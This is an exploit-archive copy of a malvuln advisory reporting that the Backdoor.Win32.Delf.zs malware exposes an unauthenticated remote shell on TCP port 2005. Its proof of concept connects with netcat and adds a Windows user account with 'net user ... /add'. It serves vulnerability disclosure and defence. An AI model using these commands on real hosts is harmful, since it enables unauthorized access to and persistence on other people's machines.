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Backdoor.Win32.Delf.zs MVID-2021-0150 Code Execution

Backdoor.Win32.Delf.zs MVID-2021-0150 Code Execution
Posted Mar 29, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Delf.zs malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | 4a5d3b89e3bd8aeb3967a57fbde5fc5f72b548929392f50c8f378b8a7b2c7fb4

Backdoor.Win32.Delf.zs MVID-2021-0150 Code Execution

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/911e96073cfe807289366343aa8d97ac.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zs
Vulnerability: Unauthenticated Remote Command Execution
Description: Backdoor Delf.zs c0ded By Eb0La, is used to build backdoors that listen on TCP port 2005. Upon building it drops an executable named "[Shell_Me]_Server.exe." The name for the spawned backdoor defaults to "Syst32.exe" but can be customized. Third-party attackers who can reach infected systems can execute arbitrary commands by simply connecting to the backdoor which will return a remote shell to the infected host as no authentication exists.
Type: PE32
MD5: 911e96073cfe807289366343aa8d97ac
Vuln ID: MVID-2021-0150
Dropped files: [Shell_Me]_Server.exe, Syst32.exe
Disclosure: 03/26/2021

Exploit/PoC:
nc64.exe x.x.x.x 2005

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>net user dirty0tis abc123 /add
net user dirty0tis abc123 /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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